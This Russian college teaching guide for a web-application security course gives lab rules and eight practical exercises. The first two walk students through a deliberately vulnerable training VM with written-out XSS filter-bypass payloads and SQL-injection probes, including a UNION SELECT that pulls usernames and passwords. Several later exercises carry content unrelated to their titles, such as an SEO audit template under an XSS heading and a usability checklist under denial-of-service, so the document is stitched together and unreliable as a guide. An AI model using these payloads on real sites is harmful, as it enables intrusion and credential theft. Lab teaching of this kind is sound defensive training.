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ВВЕДЕНИЕ

Методические указания разработаны в соответствии с рабочей программой по дисциплине МДК. 09.03 Обеспечение безопасности веб-приложений пользователя для студентов специальности 09.02.07 Информационные системы и программирование. 
Методические указания предназначены для организации учебного процесса по данной дисциплине, а также подготовки и проведению практических занятий и их проверки.  

Практические задания предназначены для закрепления теоретического материала по МДК. 09.03 Обеспечение безопасности веб-приложений пользователя и выработки навыков его применения в практических расчетах. 
Практические занятия являются важными видами учебной работы студента по учебной дисциплине и выполняются в пределах часов, предусмотренных учебным планом специальности.

 Цель данных методических указаний состоит в оказании помощи студентам при проведении практических занятий по изучению данной дисциплины, в формировании готовности к овладению основными умениями, знаниями, а также развитие общих компетенций по специальности. 

ЦЕЛИ И ЗАДАЧИ ПРАКТИЧЕСКИХ ЗАНЯТИЙ СТУДЕНТОВ

Практические занятия предназначены для более глубокого изучения дисциплины, развивает мышление, позволяет выявить причинно-следственные связи в изученном материале, решить теоретические и практические задачи. Для формирования у обучающихся умений, приобретение первоначального практического опыта в рамках профессионального модуля по каждому из видов профессиональной деятельности под руководством преподавателей.

Целью методических указаний является повышение эффективности учебного процесса, в том числе благодаря выполнению практических заданий, в котором студент становится активным субъектом обучения, что означает:

- способность занимать в обучении активную позицию;

- готовность мобилизовать интеллектуальные и волевые усилия для достижения учебных целей;

- умение проектировать, планировать и прогнозировать учебную деятельность;

- формирование умений использовать справочную документацию и специальную литературу;

- осознание своих потенциальных способностей и развитие исследовательских умений;

- психологическую готовность составить программу действий по саморазвитию, самосовершенствованию и самореализации.

Для достижения этой цели по каждой теме разработаны практические задания с указаниями по их выполнению.

 В указаниях обозначены проблемы, поставлены задачи и сформированы вопросы, поиск ответов на которые, позволят студентам достигнуть положительного результата. 

Практические занятия по специальности направлены на формирование у обучающихся умений, приобретение первоначального практического опыта и реализуется в рамках профессиональных модулей ОПОП СПО по основным видам профессиональной деятельности для последующего освоения ими общих и профессиональных компетенций по избранной специальности:
	Код
	Наименование результата обучения

	ВД 9
	Проектирование, разработка и оптимизация веб-приложений

	ПК 9.1
	Разрабатывать техническое задание на веб-приложение в соответствии с требованиями заказчика

	ПК 9.2
	Разрабатывать веб-приложение в соответствии с техническим заданием

	ПК 9.3
	Разрабатывать интерфейс пользователя веб-приложений в соответствии с техническим заданием

	ПК 9.4
	Осуществлять техническое сопровождение и восстановление веб-приложений в соответствии с техническим заданием

	ПК 9.5
	Производить тестирование разработанного веб приложения

	ПК 9.6
	Размещать веб приложения в сети в соответствии с техническим заданием

	ПК 9.7
	Осуществлять сбор статистической информации о работе веб-приложений для анализа эффективности его работы

	ПК 9.8
	Осуществлять аудит безопасности веб-приложения в соответствии с регламентами по безопасности

	ПК 9.9
	Модернизировать веб-приложение с учетом правил и норм подготовки информации для поисковых систем.

	ПК 9.10
	Реализовывать мероприятия по продвижению веб-приложений в сети Интернет

	ОК 1
	Выбирать способы решения задач профессиональной деятельности применительно к различным контекстам;

	ОК 2
	Использовать современные средства поиска, анализа и интерпретации информации и информационные технологии для выполнения задач профессиональной деятельности; 

	ОК 3
	Планировать и реализовывать собственное профессиональное и личностное развитие, предпринимательскую деятельность в профессиональной сфере, использовать знания по финансовой грамотности в различных жизненных ситуациях;

	ОК 4
	Эффективно взаимодействовать и работать в коллективе и команде; 

	ОК 5
	Осуществлять устную и письменную коммуникацию на государственном языке Российской Федерации с учетом особенностей социального и культурного контекста; 

	ОК 6
	Проявлять гражданско-патриотическую позицию, демонстрировать осознанное поведение на основе традиционных общечеловеческих ценностей, в том числе с учетом гармонизации межнациональных и межрелигиозных отношений, применять стандарты антикоррупционного поведения;

	ОК 7
	Содействовать сохранению окружающей среды, ресурсосбережению, применять знания об изменении климата, принципы бережливого производства, эффективно действовать в чрезвычайных ситуациях 

	ОК 8
	Использовать средства физической культуры для сохранения и укрепления здоровья в процессе профессиональной деятельности и поддержания необходимого уровня физической подготовленности;

	ОК 9
	Пользоваться профессиональной документацией на государственном и иностранном языках


ТЕМАТИЧЕСКИЙ ПЛАН  ПРАКТИЧЕСКИХ ЗАНЯТИЙ

Таблица 1 - Тематический план практических занятий

	Тема практического занятия
	Объем в часах  

	Практическое занятие№1. Сбор информации об уязвимостях web-приложения.
	6

	Практическое занятие№2. Тестирование защищенности механизма управления доступом и сессиями
	6

	Практическое занятие№3. Тестирование на устойчивость к атакам отказа в обслуживании
	6

	Практическое занятие№4. Поиск уязвимостей к атакам XSS. Реализация защиты.
	6

	Практическое занятие№5. Поиск уязвимостей к атакам SQL-injection. Реализация защиты.
	4

	Практическое занятие№6. Поиск уязвимостей к инъекциям кода. Реализация защиты.
	4

	Практическое занятие№7. Поиск уязвимостей к clickjacking. Реализация защиты.
	4

	Практическое занятие№8. Безопасные соединения: протокол SSL и стандарт X509.
	6


ПОРЯДОК ВЫПОЛНЕНИЯ ПРАКТИЧЕСКИХ ЗАДАНИЙ
Выполнение обучающимся практических заданий по МДК. 09.03 Обеспечение безопасности веб-приложений проводится с целью:

· систематизации и закрепления полученных теоретических знаний и практических умений по общепрофессиональным и специальным дисциплинам учебного плана;

· применения приобретенных знаний к комплексному решению конкретных производственных задач;

· углубления теоретических знаний в соответствии с заданной темой;

· формирования умений применять теоретические знания   при решении поставленных вопросов;

· формирования умений использовать справочную, нормативную и правовую документацию, специальную литературу, справочники, ГОСТы, компьютерные программы и т.д.;

· развития творческой инициативы, самостоятельности, ответственности и организованности.

ПОРЯДОК ВЫПОЛНЕНИЯ ПРАКТИЧЕСКИХ ЗАДАНИЙ

Основными видами аудиторной работы обучающихся являются урок и практические занятия.

В ходе урока преподаватель излагает и разъясняет основные, наиболее сложные понятия темы, а также связанные с ней теоретические и практические проблемы. Во время занятий необходимо вести конспект. Преподаватель дает на уроке задания для закрепления пройденного материала, организует и оказывает обучающемуся помощь в самостоятельной работе во время урока, дает рекомендации на подготовку к практической (лабораторной) работе и указания на выполнение домашней работы. Во время урока преподаватель также проводит проверку теоретических знаний по теме прошлого урока. Активное участие обучающегося во всех этапах занятия, позволит ему качественно усвоить необходимый теоретический и практический материал, разобраться в основных вопросах и получить дополнительные необходимые для понимания и дальнейшей практической деятельности рекомендации преподавателя.

Целями выполнения практических работ является:

1) обобщение, систематизация, углубление, закрепление полученных теоретических знаний по конкретным темам;

2) формирование умений применять полученные знания на практике, реализация единства интеллектуальной и практической деятельности;

3) развитие интеллектуальных умений у будущих специалистов; аналитических, проектировочных, конструктивных и др.

4) выработку при решении поставленных задач таких профессионально значимых качеств, как самостоятельность, ответственность, точность, творческая инициатива.

Практические занятия вырабатывают у обучающихся навыки применения полученных знаний для решения профессиональных практических задач. На практических занятиях обучающиеся выполняют тренировочные упражнения, решают задачи, занимаются построением графиков, сравнительных таблиц, схем, моделированием.

Обучающийся обязан выполнить весь перечень практических работ.

Для выполнения практических работ обучающимся выдается сборник практических работ или инструкция. Каждая инструкция содержит цель работы, перечень оборудования, ход выполнения работы и контрольные вопросы, обращающие внимание обучающихся на существенные стороны изучаемых явлений. Вопросы помогают глубже осмыслить производимые действия и полученные результаты и на их основе самостоятельно сделать необходимые выводы.

В ходе работы необходимо строго соблюдать правила поведения в компьютерном классе.

1. К работе в компьютерном классе допускаются лица, ознакомленные с инструкцией по технике безопасности и охране труда, с правилами поведения и размещения информационных ресурсов.

2. Работа обучающихся в компьютерном классе разрешается только в присутствии преподавателя (инженера, лаборанта).

3. Во время групповых занятий посторонние лица могут находиться в классе только с разрешения преподавателя.

4. Перед началом работы необходимо:

· убедиться в отсутствии видимых повреждений на рабочем месте;

· разместить на столе тетради, учебные пособия так, чтобы они не мешали работе на компьютере;

· принять правильную рабочую позу;

· если сеанс работы предыдущего пользователя не был завершен, завершить его;

· ввести регистрационную информацию (при необходимости).

5. При работе в компьютерном классе категорически запрещается:

· находиться в классе в верхней одежде;

· размещать одежду и сумки на рабочих местах;

· находиться в классе с едой и напитками;

· класть книги, тетради и т.п. на клавиатуру;

· располагаться сбоку или сзади от включенного монитора;

· присоединять или отсоединять кабели, трогать разъемы, провода и розетки;

· передвигать компьютеры;

· открывать системный блок;

· пытаться самостоятельно устранять неисправности в работе аппаратуры;

· перекрывать вентиляционные отверстия на системном блоке и мониторе;

· ударять по клавиатуре, нажимать бесцельно на клавиши;

· удалять или перемещать чужие файлы;

· устанавливать и запускать компьютерные игры;

· использовать Интернет-ресурсы неучебного назначения.

6. Находясь в компьютерном классе, необходимо:

· соблюдать тишину и порядок, выключать мобильные телефоны от громкой связи;

· выполнять все требования преподавателя, инженера и лаборанта;

· работать только под своим именем и паролем;

· соблюдать режим работы (продолжительность непрерывной работы за компьютером не более двух часов с обязательным 10-минутным перерывом и гимнастикой для глаз; продолжительность интенсивной работы с клавиатурой не более 30 минут с последующей гимнастикой для рук; общая продолжительность работы не более 4 часов в день);

· при появлении рези в глазах, резком ухудшении видимости, невозможности сфокусировать взгляд или навести его на резкость, появлении боли в пальцах и кистях рук, усилении сердцебиения немедленно покинуть рабочее место, сообщить о происшедшем преподавателю и обратиться к врачу;

· после окончания работы завершить все активные программы и корректно завершить

сеанс; 
локти, запястья и кисти рук на одном уровне
· оставить рабочее место чистым.

7. Работая за компьютером, необходимо соблюдать правильную позу:

· расстояние от экрана до глаз 70-80 см (расстояние вытянутой руки);

· вертикально прямая спина;

· плечи опущены и расслаблены;

· ноги на полу и не скрещены;

· локтевые, тазобедренные, коленные, голеностопные суставы под прямым углом.

8. При появлении программных ошибок или сбоях оборудования обучающийся обязан немедленно обратиться к преподавателю (инженеру, лаборанту).

9. В случае порчи или выхода из строя оборудования компьютерного класса по вине пользователя ремонт или замена оборудования производится за счет пользователя.

Практическое занятие№1

Сбор информации об уязвимостях web-приложения.

Выполните идентификацию и эксплуатацию уязвимостей к атакам XSS

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com (https://yadi.sk/d/wmtd_jMk4sT57Q). Создать виртуальную машину (https://yadi.sk/d/0IV30q88t21bsA). Загрузиться с диска. В браузере открыть веб-приложение.

https://www.youtube.com/watch?v=yJEzmLcOzck&ab_channel=MalikUbi

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор <script>alert(1)</script>

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово script фильтруется. Ввести вектор
<ScRipT>alert(1)</sCrIpT>

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово <script> вырезается. Ввести вектор
<scr<script>ipt>alert(1)</s</script>cript>

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово <script> вырезается корректно. Ввести вектор
<img/src=1 onerror=alert(1)>

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Убедиться, что слово alert вырезается корректно. Ввести вектора
<img/src=1 onerror=\u0061alert(1)>

<img/src=1 onerror=prompt(1)>

<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

";alert(1);"

</script><script>alert(1);//

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

";alert(1);"

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name

ввести вектор ';alert(1);'

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

xss/example8.php/"onsubmit="alert(1)

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

xss/example9.php#<script>alert(1)</script>.

Убедиться, что никакого HTTP-запроса не отправляется.

Практическое занятие№2. 
Тестирование защищенности механизма управления доступом и сессиями
Выполните идентификацию и эксплуатацию уязвимостей к атакам SQL-injection

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:

−
sqli/example1.php?name=root'

−
sqli/example1.php?name=root"

−
sqli/example1.php?name=root'%201=1

−
sqli/example1.php?name=root'%201=1#

−
sqli/example1.php?name=root'%201=1%20–

−
sqli/example1.php?name=root'%201=1%20/*

−
sqli/example1.php?name=root'%20'1'='1

−
sqli/example1.php?name=root'%20'1'='2

−
sqli/example1.php?name=root'%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. 

Шаг 3. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

−
sqli/example2.php?name=root%20and%201=1

−
sqli/example2.php?name=root'%09and%09'1'='1

−
sqli/example2.php?name=root'%09and%09'1'='2

−
sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. 

Шаг 4. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

−
sqli/example3.php?name=root%20and%201=1

−
sqli/example3.php?name=root'/**/and/**/'1'='1

−
sqli/example3.php?name=root'/**/and/**/'1'='2

−
sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL- injection. 

Шаг 5. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

−
sqli/example4.php?id=2

−
sqli/example4.php?id=2'

−
sqli/example4.php?id=2"

−
sqli/example4.php?id=1%2b1

−
sqli/example4.php?id=0%2b2

−
sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL- injection.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:

−
sqli/example5.php?id=2

−
sqli/example5.php?id=2'

−
sqli/example5.php?id=2"

−
sqli/example5.php?id=1%2b1

−
sqli/example5.php?id=0%2b2

−
sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL- injection. 

Шаг 7. Перейти по ссылке «SQL injections → Example 6». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:

−
sqli/example6.php?id=2

−
sqli/example6.php?id=2'

−
sqli/example6.php?id=2"

−
sqli/example6.php?id=1%2b1

−
sqli/example6.php?id=0%2b2

−
sqli/example6.php?id=3-1

−
sqli/example6.php?id=5-3

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL- injection. 

Шаг 8. Перейти по ссылке «SQL injections → Example 7». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL- запроса:

−
sqli/example7.php?id=2

−
sqli/example7.php?id=2'

−
sqli/example7.php?id=2"

−
sqli/example7.php?id=1%2b1

−
sqli/example7.php?id=3-1

−
sqli/example7.php?id=2%0Aand%201=1

−
sqli/example7.php?id=2%0Aand%201=2

−
sqli/example7.php?id=2%0A%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL- injection. 

−
sqli/example7.php?id=2%0Aunion%20select%201

−
sqli/example7.php?id=2%0Aunion%20select%201,2

−
sqli/example7.php?id=2%0Aunion%20select%201,2,3

−
sqli/example7.php?id=2%0Aunion%20select%201,2,3,4

−
sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5

−
sqli/example7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users
Практическое занятие№3. 
Тестирование на устойчивость к атакам отказа в обслуживании
Проанализируйте поведенческие факторы сайта site.ru

1)
Ответьте на вопрос: о чем сайт?

Имеются ли:

а)
логотип и слоган, расположенные в шапке сайта;

б)
заголовок главной страницы;

в)
общий дизайн и оформление сайта.

2)
Размещена ли витрина на главной странице?

3)
Решается ли на главной странице конкретная задача посетителя?

4)
Обеспечена ли качественная навигация?

К стандартным средствам относятся:

а)
главное меню;

б)
выделение активного пункта меню;

в)
название страницы (заголовок);

г)
навигационная цепочка (хлебные крошки).

5)
Добавлен ли интерактив?

Самые очевидные решения:

а)
система отзывов;

б)
голосования;

в)
онлайн-консультант;

г)
чат.

6)
Публикуются ли тематические статьи?

Со стороны посетителей этот раздел сайта решает несколько задач:

а)
лучше раскрывает суть товара/услуги для посетителей;

б)
показывает, что сайт поддерживается в актуальном состоянии.

в)
демонстрирует профессионализм.

7)
Реализована ли внутренняя перелиновка?

8)
Инициировано ли возвращение посетителей?

9)
Открываются ли внешние ссылки в новых вкладках?

10) Обеспечена ли приемлемая скорость загрузки страниц? 

11) Оформлена ли страница с ошибкой 404?

Практическое занятие№4. 
Поиск уязвимостей к атакам XSS. Реализация защиты.
Проведите технический аудит сайта "site.ru"

1. Показатели сайта

· ИКС: 

· Страниц в индексе Яндекса: 

· Страниц в индексе Google: 

· Дата регистрации домена: 

Проверяем по RDSBar - recipdonor.com/bar

Комментарии к разделу (актуальное для данного раздела оставляем, остальное удаляем из аудита):

· * Большая разница числа страниц в индексе Яндекса и Google свидетельствует о наличии проблем с индексацией.

· * Молодому сайту (возраст менее полугода) потребуется больше усилий для попадания в ТОП, нежели возрастному сайту, имеющему историю и доверие поисковых систем.

· * Главное меню сайта не должно быть реализовано на javascript, flash и прочих скриптах, чтобы поисковые роботы свободно ходили по сайту и учитывали все нужные страницы сайта.

· * Одностраничный "лэндинг" по конкурентным запросам продвинуть сложнее, чем полноценный сайт.

2. Проверка файла robots.txt

Файл "robots.txt" …

Текущее содержимое "robots.txt":

Вставляем текущее содержимое robots.txt...

3. Проверка наличия Sitemap.xml

В настоящее время файл "sitemap.xml" …

* Отсутствует – некорректно.

* Файл "sitemap.xml" присутствует, однако данные, размещенные в нем, указаны не полностью:

· отсутствует параметр "lastmod"

· отсутствует параметр "priority"

· отсутствует параметр "changefreq"

* Необходимо сформировать новый файл "sitemap.xml" с корректными данными и разместить его в корне сайта.

4. Сквозная ссылка на главную страницу в логотипе или шапке сайта

*Отсутствует

*Присутствует, корректно

*Присутствует, однако у логотипа в шапке сайта не прописан тег "alt", что противоречит пожеланиям поисковых систем по оформлению сайтов. Необходимо в данном теге прописать название и краткое описание сайта.
5. Проверка скорости загрузки сайта

Скорость загрузки составляет: 
Скорость проверяем сервисами gtmetrix.com или webpagetest.org
· *Рекомендуется задействовать функцию кеширования браузером статичных элементов сайта для ускорения его загрузки.

· *Необходимо настроить отдачу 304 заголовков (отдача страницы из кеша), которые бы позволили не загружать повторно уже загруженные элементы сайта, если те не изменялись.

· *Рекомендуется минимизировать редиректы, возникающие из-за некорректных внешних ссылок на библиотеки яваскриптов.

· *Рекомендуется оптимизировать изображения для сокращения их объема, что приведет к ускорению загрузки сайта и сэкономит трафик пользователей.

· *По возможности использовать компрессию GZip для сжатия передаваемых данных и, соответственно, уменьшения скорости их загрузки.

· *Для ускорения загрузки контента сайта рекомендуется перенести подключение файлов .js в низ страницы и расположить их под html-кодом основного контента (перед закрывающим тегом </body>).

· *Рекомендуется оптимизировать загрузку множества мелких изображений путем размещения их в одном файле и поспрайтовой подгрузки в нужную область при помощи CSS.

6. Проверка наличия частичных и полных копий сайта (дубликаты)

· * С версии сайта с WWW выполняется редирект на основной сайт без него "site.ru" – КОРРЕКТНО

· * На данный момент для индексации доступны страницы как с WWW, так и без него – НЕКОРРЕКТНО. Поисковые системы считают такие страницы разными, поэтому необходимо сделать 301 редирект со страниц с WWW на страницы без него, т.к. основное зеркало определено без WWW.

· *Сайт доступен только по одному из протоколов: HTTP / HTTPS – КОРРЕКТНО

· * Сайт доступен по обоим протоколам, что создает дубли страниц и тем самым затрудняет продвижение сайта в поисковых системах - НЕКОРРЕКТНО

· * Найдены дубли страниц со слешем «/» и без «/» на конце – НЕКОРРЕКТНО. Рекомендуется выполнить настройку 301 редиректа со страниц без слеша «/» на конце, на страницы со слешем.

· *Для дублей страниц, создаваемых использованием параметров в URL, если таковые имеются, прописан тег rel="canonical" – КОРРЕКТНО

· *Используются атрибуты rel="next" и rel="prev" для обозначения страниц пагинации – КОРРЕКТНО

· *По контактному телефону или рег. информации (ИНН, ОГРН) находится только один сайт (кроме справочных сайтов) – КОРРЕКТНО

7. Проверка настройки ЧПУ

*ЧПУ (человеко-понятные URL) настроены – КОРРЕКТНО

*ЧПУ (человеко-понятные URL) не настроены – НЕКОРРЕКТНО

8. Проверка корректности верстки и HTML-кода на наличие ошибок

Согласно валидатору W3C (https://validator.w3.org/) в коде найдено ___ ошибки. Из них есть критичные, которые необходимо исправить в первую очередь:

· *отсутствие указаний размеров к изображениям

· *отсутствие тегов "alt" для изображений

· *дублирование атрибута ID, что не корректно

· *отсутствие атрибута "type" для скриптов

· *необходимо вынести все стили и скрипты из HTML в отдельные файлы, чтобы очистить верстку от лишнего кода (примеры см. ниже):

Вставляем скриншоты с наиболее популярными ошибками

9. Проверка корректности заголовков 1 уровня (H1)

· * В результате аудита были выявлены страницы, не имеющие заголовка H1 (в том числе и главная страница), что некорректно и может отрицательно сказаться на ранжировании сайта.

· * В результате аудита было выявлено несколько страниц, имеющих более одного заголовка H1, что некорректно и может отрицательно сказаться на ранжировании сайта.

Примеры страниц с некорректным H1:

Вставляем скриншоты с некорректным H1

10. Проверка использования тегов заголовков в элементах дизайна

Вставляем скриншоты с некорректным H1-H6

11. Проверка сайта на битые ссылки

На сайте обнаружены "битые" ссылки на странице _________________________

Вставляем скриншоты с битыми ссылками №1

А также, на странице ___________________________

Вставляем скриншоты с битыми ссылками №2 и т.п.

12. Обработка ошибки 404

* Обработчик страницы 404 (не найдена) присутствует – КОРРЕКТНО

Однако не для всех типов несуществующих страниц настроен обработчик страницы 404 (не найдена).

Примеры URL:

· https://www.site.ru/uslovija-sotrudnich (отдается код 200 вместо 404)

· https://www.site.ru/uslovija-sotrudnichestva/ (отдается код 404, но страница не оформлена в соответствии с дизайном сайта)

· https://www.site.ru/shop/brjuki (отображается, что страница не найдена, но по факту отдается код 200 вместо 404)

* На данный момент при вводе некорректного URL пользователю отображается стандартное сообщение сервера о том, что указанной страницы не существует.

* Необходимо настроить сервер таким образом, чтобы при вводе некорректного URL сайт отдавал пользователю 404 страницу, оформленную в стиле сайта и информирующую его о некорректно набранном URL, а также отображающую возможные пути дальнейшей навигации по сайту (например, ссылка на основные его разделы).

* Сейчас сайт отдает для несуществующих страниц ответ 200 (вместо 404 ошибки). В данном случае поисковый робот, заходя по адресу несуществующей страницы, индексирует ее. Необходимо настроить корректную обработку несуществующих страниц.

13. Внешние ссылки

Ссылки на внешние ресурсы: _______.

14. Оценка наполнения сайта

* На сайте присутствуют страницы без контента. Пример такой страницы: ________________________ 

Вставляем скриншоты страниц без контента

* Контент сайта в целом находится на приемлемом уровне.

15. Проверка на дублирование заголовков и мета-тегов

TITLE (заголовок страниц браузера)
* Большинство страниц содержат не достаточно информативный мета-тег "title", который мало способствует продвижению как отдельных страниц, так и всего сайта в целом.

* Большинство страниц содержат пустой мета-тег "title".

Необходимо для каждой страницы сайта составить уникальный тайтл длиной 10-15 слов с включением ключевых фраз, наиболее релевантных содержимому данной страницы.

Description (мета-описание страниц)
* Заполнение мета-тега "description" на сайте не предусмотрено.

* Большинство страниц сайта содержат пустой мета-тег "description".

* Неправильно составленные мета-теги: содержат мало информации и ключевых слов, либо переспам (отсутствие законченной фразы, перечисление ключевых фраз, короткий текст).

* Необходимо добавить в систему управления сайтом возможность заполнения данного мета-тега произвольным текстом.

* Необходимо для каждой страницы прописать свой уникальный мета-тег "description", отражающий содержание страницы и содержащий дополнительную осмысленную полезную/рекламную информацию.

H2-H6 (подзаголовок)
* На странице _____________ присутствуют одинаковые заголовки H2, что негативно влияет на ранжирование сайта, т.к. говорит о некачественном контенте.

* Тег H2 присутствует в заголовках блоков новостей, вследствие чего дублируется на разных страницах сайта. Это некорректно и должно быть исправлено, подробнее см. п.10.

16. Проверка наличия компании в Яндекс.Справочнике и Google Мой бизнес

Смотрим yandex.ru/sprav/companies + business.google.com/add?service=plus&hl=ru

· * Компания присутствует в Яндекс.Справочнике – КОРРЕКТНО

· * Компания присутствует в сервисе Google Мой бизнес – КОРРЕКТНО

* К сожалению, Ваша компания не найдена ни в Яндекс.Справочнике ни в сервисе Google Мой бизнес, что может привести к потере части потенциальных посетителей.

17. Навигация "хлебные крошки" (обратный путь по сайту)

* Присутствует – КОРРЕКТНО

* Для более качественной проработки юзабилити, а также для более четкого представления пользователя, где он находится в данный момент на сайте, рекомендуется добавлять навигацию типа "Хлебные крошки". 

18. Наличие атрибутов изображений на сайте

* Атрибуты "alt" присутствуют – КОРРЕКТНО

* К сожалению, у изображений на сайте нет уникальных атрибутов "alt", что лишает ресурс части потенциальных покупателей из сервисов Яндекс и Google Картинки, а также снижает контентную релевантность сайта.

19. Наличие мобильной версии сайта

* Мобильная версия сайта присутствует – КОРРЕКТНО

* К сожалению, сайт не имеет мобильной (адаптивной) версии, что может отрицательно сказаться на его позициях в мобильной выдаче и на его ранжировании в целом.

20. Файл favicon.ico

* Иконка сайта отсутствует – НЕ КОРРЕКТНО

Наличие иконки сайта дает возможность обратить на себя большее внимание сайту в поисковой выдаче и тем самым привлечь больше посетителей.

Необходимо переписать в корень сайта приложенный файл "favicon.ico" и добавить в секцию HEAD сайта строку:

<link href="/favicon.ico" rel="shortcut icon">
* Иконка сайта присутствует – КОРРЕКТНО

21. Сессии

* Сессии в адресе страниц отсутствуют – КОРРЕКТНО

* Сайт не должен использовать сессии в адресе страниц. Это вызвано тем, что при каждом заходе поискового робота на сайт ему присваивается идентификатор сессии (параметр PHPSESSID в URL страницы) и каждая страница имеет URL, отличный от URL, сформированного при другом значении сессии, что крайне негативно отражается на индексации сайта.

22. Микроразметка

Смотрим webmaster.yandex.ru/tools/microtest/

* Микроразметка на сайте присутствует – КОРРЕКТНО

* Необходимо внедрить микроразметку на страницу с контактами / товарами / статьями. Это даст возможность поисковым системам яснее понимать содержание контента страниц, а также поможет выделить сайт в выдаче поисковых систем более привлекательно.

23. Относительные ссылки

* Проблем не обнаружено – КОРРЕКТНО

* При использовании внутренних ссылок необходимо, чтобы URL относительных ссылок начинался со слеша

24. Проверка динамики показателей счётчика Яндекс.Метрика

Вставляем скриншоты из Яндекс Метрика

25. Проверка ошибок сайта в панели Яндекс.Вебмастер

Безопасность и нарушения

Вставляем скриншоты из Яндекс Вебмастера

26. Внешняя оптимизация Яндекс.Вебмастер

* Количество ссылок, ведущих на сайт: _________ 

* Количество ссылок, ведущих на сайт: порядка ___ с ______ доменов.

Вставляем скриншот статистики внешних ссылок Ahrefs
* Как видно из графиков, сайт практически не имеет внешней ссылочной массы, что, конечно же, не способствует росту доверия к сайту в глазах поисковых систем и, соответственно, не ведет к росту его позиций.

* Анкоры (тексты ссылок) в массе своей содержат URL сайта. Необходимо разбавить анкорную базу вхождениями продвигаемых ключевых фраз.

* Данное количество недостаточно для продвижения в такой конкурентной тематике, как "ВашаТематика". Анкоры (тексты ссылок) в массе своей содержат неразбавленные ключевые слова, что не соответствует современным методам продвижения.

* Рекомендуется наращивать объем ссылочной массы с ресурсов с большим числом посещений и близких по тематике к данному сайту.

* Рекомендуется наращивать объем ссылочной массы с ресурсов с большим числом посещений и близких по тематике к данному сайту, а также увеличивать число ссылающихся уникальных сайтов для повышения ссылочного охвата.

27. Рекомендуемые работы по сайту

На основе проведенного аудита нами рекомендуется провести следующий список работ по сайту:

Практическое занятие№5. 
Поиск уязвимостей к атакам SQL-injection. Реализация защиты.

Выполнить идентификацию уязвимостей к атакам SQL-injection.

Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.

Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.
Практическое занятие№6.
Поиск уязвимостей к инъекциям кода. Реализация защиты.

Выполнить идентификацию уязвимостей к инъекциям кода.

Практическое занятие№7. 
Поиск уязвимостей к clickjacking. Реализация защиты.

Выполнить идентификацию уязвимостей clickjacking.

Используя ресурс http://pr-cy.ru/ проведите юзабилити-аудит веб-сайта "site.ru":

Практическое занятие№8.
Безопасные соединения: протокол SSL и стандарт X509.
сгенерировать SSL-сертификат на https://regery.ua/ru/security/ssl-tools/self- signed-certificate-generator;
получить и установить сертификат;

подключить для веб-приложения поддержку HTTPS.
1) Внутрикорпоративное исследование:
1) определить бизнес-цели веб-сайта site.ru с приоритетами, список ожидаемых целевых действий клиентов;

2) составить кейс деления ЦА.

